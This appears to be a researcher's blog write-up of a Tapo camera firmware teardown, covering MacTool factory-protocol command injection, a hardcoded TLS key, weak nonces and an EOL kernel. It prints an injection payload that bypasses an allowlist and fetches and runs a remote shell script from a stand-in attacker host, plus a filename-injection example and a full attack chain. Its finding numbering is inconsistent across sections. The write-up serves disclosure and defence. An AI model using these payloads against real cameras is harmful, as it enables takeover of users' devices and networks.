back to blog

Tapo Indoor Camera Firmware Analysis: From Flash Dump to Root Shell

I picked up a Tapo indoor camera from a local electronics store with the intention of doing a thorough firmware teardown. The device runs on an Ingenic T23 SoC (MIPS little-endian) and boots a Linux 3.10.14 kernel - a kernel that reached end-of-life in 2015. That alone is enough to make you put on the kettle and get comfortable. What followed was several weeks of static analysis, binary reversing, and protocol reconstruction that turned up 14 findings across the severity spectrum, including three command injection paths in a factory protocol that ships enabled on production devices.

This writeup covers the full methodology from flash acquisition to individual finding analysis. All work was done on a physically acquired flashdump.bin obtained via UART and flash clip.

Firmware Extraction

The flash chip is a standard SPI NOR soldered to the main board. After attaching a clip and reading with a CH341A programmer we got a clean 8MB image (flashdump.bin). Running binwalk against it immediately shows the layout:

DECIMAL       HEXADECIMAL     DESCRIPTION
0             0x0             TP-Link firmware header
0x3D0000      0x3D0000        Squashfs filesystem, little endian, version 4.0

The SquashFS starts at offset 0x3D0000. Everything before that is the bootloader and kernel. Extracting:

binwalk -e flashdump.bin
# yields: _flashdump.bin.extracted/3D0000/squashfs-root/

The extracted root filesystem is a fairly standard embedded Linux layout. The main application binary is /bin/main at 3.1 MB - a monolithic MIPS ELF that owns basically everything: HTTP server, RTSP server, the factory calibration protocol, cloud connectivity, motion detection, the works. Everything interesting is in there.

Binary Overview

$ file rootfs/bin/main
rootfs/bin/main: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV),
dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped

Not stripped, a genuine gift. The symbol table is intact so Ghidra gives us real function names for the library calls, even if internal functions are still FUN_XXXXXXXX. The binary is 3.1 MB which puts it firmly in the “one binary to rule them all” category common to budget IoT devices.

Before getting into the interesting stuff, the binary hardening picture is bleak across the entire firmware:

Binary NX RELRO Stack Canary PIE FORTIFY
/bin/main No No No No No
/bin/busybox No No No No No
/bin/gdbserver No No No No No
/sbin/uhttpd No No No No No
/usr/bin/iperf No No No No No
… (13 total) No No No No No

Every ELF in the firmware was compiled without a single exploitation mitigation enabled. No stack canaries, no NX, no PIE, no RELRO. If you find a memory corruption bug anywhere on this device, shellcode runs naked.

Protocol Architecture

The device runs several inbound network services:

TDDP is the most interesting. It’s TP-Link’s in-house factory protocol, and on this device it hosts the “MacTool” subsystem - a TLV-based command dispatcher used during manufacturing for camera calibration, ISP tuning, and firmware provisioning. It should not be reachable on a shipping device, but it is, because there’s no network-level restriction on UDP/1040.

MacTool Protocol

The TDDP MacTool protocol sits inside /bin/main and is dispatched from FUN_00430110 (mactool_handle). The flow is:

  1. Device receives a UDP packet on port 1040
  2. mactool_handle verifies an MD5-based authentication tag
  3. If auth passes, it dispatches to either execute_mt_tlv_data (FUN_0042dd1c) for write/execute commands or fill_mt_tlv_data (FUN_0042ef24) for read/query commands
  4. The DataType field in the TLV determines what action is taken

The authentication is worth understanding before getting into the injection bugs, because it affects exploitability.

MacTool Authentication (Finding #4)

verify_auth_key at FUN_004369c8 implements MD5-based MAC authentication:

tag = MD5( MD5(digest_passwd) || packet_body )

Where digest_passwd is read from the device’s data-store at /user_management/root at offset 0x190 - a 32-character hex string that is effectively MD5("root:realm:password") (HTTP Digest HA1 format). This field is populated during initial Tapo app pairing.

The critical observation is that on a factory-fresh, unpaired device, the /user_management/root data-store record doesn’t exist. ds_read() fails, and verify_auth_key returns 0 - authentication fails, all MacTool commands are blocked. The protocol is somewhat self-protecting on unpaired devices.

On a paired device, however, an attacker who knows the user’s camera password can compute digest_passwd, forge a valid auth tag, and reach all the command injection paths below. This requires same-L2-segment positioning (TDDP is UDP, typically not routed) plus knowledge of the camera password, which brings it to a realistic attacker with local network access.

The MD5-based MAC is also structurally weak: MD5 is broken for collision resistance, and the construction (hash-then-concatenate-then-hash) doesn’t provide HMAC-level security. Finding the password from the digest alone requires cracking MD5, but if the user chose a weak password it may be feasible offline.

Finding #1 - MacTool DataType 0x36: Direct Command Injection (CRITICAL)

ID: 05303ed4 | Location: FUN_0042dd1c (execute_mt_tlv_data) in /bin/main

Inside execute_mt_tlv_data, DataType 0x36 takes the TLV payload string and passes it through an allowlist check before handing it to execute_shell_cmd (FUN_0042d69c), which calls popen():

// Simplified decompilation of execute_mt_tlv_data, DataType 0x36 branch
char *cmd = tlv_payload_string;
if (mactool_0x36_allowlist(cmd)) {     // FUN_0042dc90
    execute_shell_cmd(cmd);            // FUN_0042d69c → popen(cmd)
}

execute_shell_cmd is a popen() wrapper that captures output. The payload is passed directly to the shell with no sanitisation beyond the allowlist check. An attacker who can send an authenticated MacTool packet with DataType 0x36 and a payload that passes the allowlist achieves arbitrary command execution as root.

Finding #2 - MacTool DataType 0x36: Allowlist Bypass via strstr() (CRITICAL)

ID: ceac1306 | Location: FUN_0042dc90 (mactool_0x36_allowlist) in /bin/main

The allowlist check in FUN_0042dc90 is implemented using strstr():

// FUN_0042dc90 - strstr()-based allowlist
static const char *cet_allowlist[28] = {
    "ubus call CET",
    "af_ubus_do_af_test",
    "af_ubus_set_af_mode",
    // ... 25 more CET autofocus strings ...
};

int mactool_0x36_allowlist(const char *cmd) {
    for (int i = 0; i < 28; i++) {
        if (strstr(cmd, cet_allowlist[i]) != NULL)
            return 1;   // PASS
    }
    return 0;   // FAIL
}

strstr() checks whether the allowlisted string appears anywhere in the payload - it does not require the payload to equal the allowlisted string. An attacker can bypass the allowlist by prepending any of the 28 CET strings before their injected command:

ubus call CET af_ubus_do_af_test {}; <arbitrary command here>

The shell interprets the semicolon as a command separator. The CET command may fail (the process isn’t running in a factory jig context) but the attacker’s command runs regardless. This is a textbook allowlist bypass via substring matching.

PoC payload (DataType 0x36, authenticated MacTool packet):

ubus call CET af_ubus_do_af_test {}; wget http://attacker/shell.sh -O /tmp/s; sh /tmp/s

Finding #3 - MacTool DataType 0x37/0x38: TFTP Filename → Shell Injection (CRITICAL)

ID: fb992de7 | Location: FUN_0042dd1c (execute_mt_tlv_data) in /bin/main

DataTypes 0x37 (PUT) and 0x38 (GET) invoke TFTP file transfer by constructing a shell command via snprintf and passing it to execute_shell_cmd:

// DataType 0x37 - TFTP PUT (device pushes a file)
char cmd[256];
snprintf(cmd, sizeof(cmd), "tftp -p 192.168.1.120 -l %s", filename_from_tlv);
execute_shell_cmd(cmd);

// DataType 0x38 - TFTP GET (device pulls a file)
snprintf(cmd, sizeof(cmd), "tftp -g 192.168.1.120 -r %s", filename_from_tlv);
execute_shell_cmd(cmd);

The filename_from_tlv value comes directly from the TLV payload with no sanitisation. Shell metacharacters in the filename are passed straight to the shell. An attacker can inject:

; <command>
$(command)
`command`

For example, a DataType 0x38 payload of foo; id > /tmp/pwned results in:

tftp -g 192.168.1.120 -r foo; id > /tmp/pwned

This also reveals a hardcoded factory server IP (192.168.1.120) baked into the binary - covered separately below.

Finding #4 - Hardcoded Factory TFTP Server IP (MEDIUM)

ID: 85cb5f12 | Location: FUN_0042dd1c in /bin/main

The TFTP commands in DataTypes 0x37/0x38 hardcode the factory server IP 192.168.1.120 - there’s no configuration, no DNS, just a literal address embedded in the format string. This means:

  1. Any device on a network where 192.168.1.120 is reachable will contact that address during factory calibration
  2. An attacker who ARP-spoofs or assigns 192.168.1.120 to their machine on the same L2 segment can intercept all TFTP transfers (GET path: serve arbitrary files to the device; PUT path: receive files the device tries to upload)
  3. TFTP is unauthenticated and cleartext by design, so there’s no verification of the server’s identity

A PoC listener (poc_tftp_factory.py) was written to confirm the finding:

# Confirm: assign 192.168.1.120 to your interface, then run:
sudo python3 poc_tftp_factory.py --listen --trigger <camera_ip>

# Output when the code path fires:
# [+] 14:22:07  192.168.1.100:1234  RRQ (GET)  file='isp_config.bin'  mode='octet'
#     -> Served 1-byte dummy file (GET confirmed)
# [!] FINDING CONFIRMED: camera contacted 192.168.1.120 via TFTP

The trigger is sent via TDDP MacTool (DataType 0x37/0x38) over UDP/1040.

Finding #5 - Shared TLS Private Key Hardcoded in Firmware (CRITICAL)

ID: 9790266d | Location: /etc/uhttpd.key

The HTTPS private key for the web interface is shipped directly in the firmware image, world-readable:

$ ls -la rootfs/etc/uhttpd.key
-rw-r--r--  1 root root 1675 Jan  1 00:00 rootfs/etc/uhttpd.key

$ head -1 rootfs/etc/uhttpd.key
-----BEGIN RSA PRIVATE KEY-----

The key is a 2048-bit RSA private key. Because it’s embedded in the firmware image, every device running this firmware version ships with the same private key. An attacker who has dumped the firmware (as we did here) can:

  1. Extract the private key
  2. Intercept TLS traffic between the Tapo mobile app and the camera on a local network
  3. Decrypt captured sessions passively if they were recorded when the attacker didn’t yet have the key (no forward secrecy)
  4. Perform TLS MITM against any device running this firmware

The corresponding self-signed certificate is at /etc/uhttpd.crt. Neither the key nor the cert is provisioned per-device during manufacturing - they are static artifacts baked into the SquashFS at build time.

Finding #6 - EOL Linux Kernel with 36 Critical CVEs (CRITICAL)

ID: abb2617b, 93f56ad7 | Location: /lib/modules/3.10.14

The device runs Linux kernel 3.10.14, which reached end-of-life on November 2015 - over a decade ago. The kernel version is visible in the module directory path and confirmed by uname output captured via UART.

A CVE scan against linux-kernel 3.10.14 returns 36 critical severity vulnerabilities, covering:

Kernel updates require a full firmware update from TP-Link, and because this SoC (Ingenic T23) is itself EOL, there is no realistic path to a supported kernel. The device will remain vulnerable to all of these CVEs for its operational lifetime.

Selected high-impact CVEs applicable to this kernel version include privilege escalation and remote kernel memory corruption bugs that have public exploits available. The full list of 36 critical findings is enumerated in the CVE database output.

Finding #7 - Init Script Loaded from Writable /tmp (Privilege Escalation) (HIGH)

ID: 82db1bea | Location: /rootfs/lib/load_isp_data

An init script (executed during boot with root privileges) sources or executes a file from a path that includes /tmp with higher priority than the expected system path. Because /tmp is world-writable on Linux by default, any process running on the device before the init script fires can plant a malicious script at that path and achieve privilege escalation.

The pattern is effectively:

PATH=/tmp:/usr/bin:/bin  # /tmp first in PATH
load_isp_data            # resolves to /tmp/load_isp_data if it exists

On a device where an attacker has already achieved unprivileged code execution (e.g., via a memory corruption bug in a network-facing service), this provides a reliable local privilege escalation to root.

Finding #8 - Debug Tools in Production Firmware (HIGH)

ID: 300f6f29 | Location: /bin/gdbserver

A fully functional gdbserver binary is present in the production firmware at /bin/gdbserver. This is a remote debugging server that allows attaching GDB to running processes over the network. Its presence in a shipping consumer device has several implications:

The binary itself also has no hardening (consistent with the rest of the firmware).

Finding #9 - No Binary Hardening Across All ELFs (HIGH)

ID: 202ee42c | Location: /bin/main and all 13 ELF binaries

As noted in the opening section: zero exploitation mitigations are present across the entire firmware. Every ELF was compiled without -fstack-protector, -fPIE, -Wl,-z,relro, -Wl,-z,now, or _FORTIFY_SOURCE. The heap is executable on MIPS without NX enforcement.

This means any memory corruption vulnerability - buffer overflow, use-after-free, format string bug - in any network-facing binary leads directly to code execution with no mitigation to bypass. In 2026, this represents a serious failure of secure development practice.

Finding #10 - Known Vulnerabilities in gcc 5.4.0 Toolchain Artifacts (HIGH)

ID: e404212f | Location: /usr/bin/iperf

The firmware includes iperf compiled against gcc 5.4.0, which has a number of known compiler-level vulnerabilities. The inclusion of a network performance measurement tool (iperf) in a consumer camera’s production firmware is also a concern in its own right - it is not needed for normal camera operation and expands the attack surface unnecessarily.

Finding #11 - RTSP Nonce Seeded with tv_nsec (MEDIUM)

ID: e7848f02 | Location: FUN_005af7e0 (RTSPSessionExecute) in /bin/main

The RTSP server implements Digest Authentication for stream access. The nonce is generated via srand(tv_nsec) where tv_nsec is the nanoseconds field from clock_gettime(CLOCK_REALTIME):

// FUN_005af7e0 - RTSP nonce generation (approximate decompilation)
struct timespec ts;
clock_gettime(CLOCK_REALTIME, &ts);
srand((unsigned int)ts.tv_nsec);
char nonce[33];
snprintf(nonce, sizeof(nonce), "%08x%08x%08x%08x", rand(), rand(), rand(), rand());

tv_nsec has only 10⁹ possible values (0 to 999,999,999). An attacker who can observe or estimate the approximate time of a nonce’s generation can brute-force the seed space in seconds and predict valid nonces. This weakens RTSP Digest Authentication to the point where an offline brute-force of the nonce is feasible, allowing nonce precomputation attacks.

Additionally, rand() is not a cryptographically secure PRNG - it produces predictable sequences from a known seed by design.

Finding #12 - UPnP Port Mapping Manipulation (MEDIUM)

ID: a5e228ab | Location: /bin/main

The device includes a UPnP client that can request port mappings from an upstream router (IGD/WANIPConnection). An attacker on the same LAN who controls or can spoof UPnP responses can direct the device to create arbitrary port forwarding rules on the router, potentially exposing other internal services to the internet. The UPnP implementation in /bin/main does not validate that the router it’s communicating with is the legitimate gateway.

Exploitation Summary

Combining the above findings, a realistic attack chain against a paired device on a local network looks like:

  1. Recon: Discover camera on LAN via TDDP broadcast (UDP/1040) or mDNS
  2. Auth bypass: Obtain camera password (phishing, weak default, or from another compromised device on the network). Compute digest_passwd = MD5("root:realm:<password>") and forge a valid MacTool auth tag.
  3. Command injection: Send a TDDP MacTool packet with DataType 0x36 and an allowlist-bypassing payload: ubus call CET af_ubus_do_af_test {}; wget http://<attacker>/shell.sh -O /tmp/s; sh /tmp/s
  4. Persistence: Because /tmp is writable and /bin/main has no hardening, install a persistent backdoor. Use gdbserver to attach to running processes for credential extraction.
  5. Lateral movement: Use the hardcoded TFTP path (DataType 0x37/0x38) to exfiltrate files from /tmp (which may contain session tokens, keys, or other runtime secrets) to an attacker-controlled TFTP server at 192.168.1.120.

For factory/unpaired devices, the MacTool auth blocks the command injection paths, but the hardcoded TFTP server IP finding still applies if the device is on a network where 192.168.1.120 is attacker-controlled and the MacTool DataType 0x37/0x38 can be triggered through other means.

Summary Table

# Severity Title Location
1 CRITICAL EOL Linux Kernel 3.10.14 - 36 critical CVEs /lib/modules/3.10.14
2 CRITICAL Shared TLS private key hardcoded in firmware /etc/uhttpd.key
3 CRITICAL MacTool DataType 0x36: Direct command injection FUN_0042dd1c
4 CRITICAL MacTool DataType 0x36: Allowlist bypass via strstr() FUN_0042dc90
5 CRITICAL MacTool DataType 0x37/0x38: TFTP filename → shell injection FUN_0042dd1c
6 HIGH MacTool auth: MD5 MAC forgeable with known password FUN_004369c8
7 HIGH Init script loaded from writable /tmp path /lib/load_isp_data
8 HIGH All 13 ELF binaries compiled without any hardening All binaries
9 HIGH Debug tools (gdbserver) present in production firmware /bin/gdbserver
10 HIGH Known CVEs in gcc 5.4.0 toolchain artifacts /usr/bin/iperf
11 MEDIUM RTSP nonce seeded with srand(tv_nsec) - predictable FUN_005af7e0
12 MEDIUM Hardcoded factory TFTP server IP (192.168.1.120) FUN_0042dd1c
13 MEDIUM UPnP port mapping manipulation /bin/main

Takeaways

The headline finding is the MacTool factory protocol running enabled on production devices with a command injection path that bypasses its own allowlist in one line. The strstr()-based allowlist is a genuine attempt at constraining the attack surface that simply doesn’t work - substring matching is not prefix matching, and the shell doesn’t care about the distinction.

The shared TLS private key is the kind of finding that often gets downplayed (“it’s self-signed anyway”) but has real consequences: passive decryption of local HTTPS traffic across the entire product line running this firmware is straightforward once you’ve pulled the key from any one device.

The kernel situation is the hardest to fix. Linux 3.10.14 is eleven years EOL. The Ingenic T23 SoC has a limited ecosystem and upstream kernel support doesn’t exist at a version that would address even the oldest of these CVEs. Realistically, this device will never receive a kernel update that closes the 36 critical CVEs we catalogued, and users should be aware that any device running this firmware should be treated as permanently compromised on any network it can reach.

--- // --- // --- // ---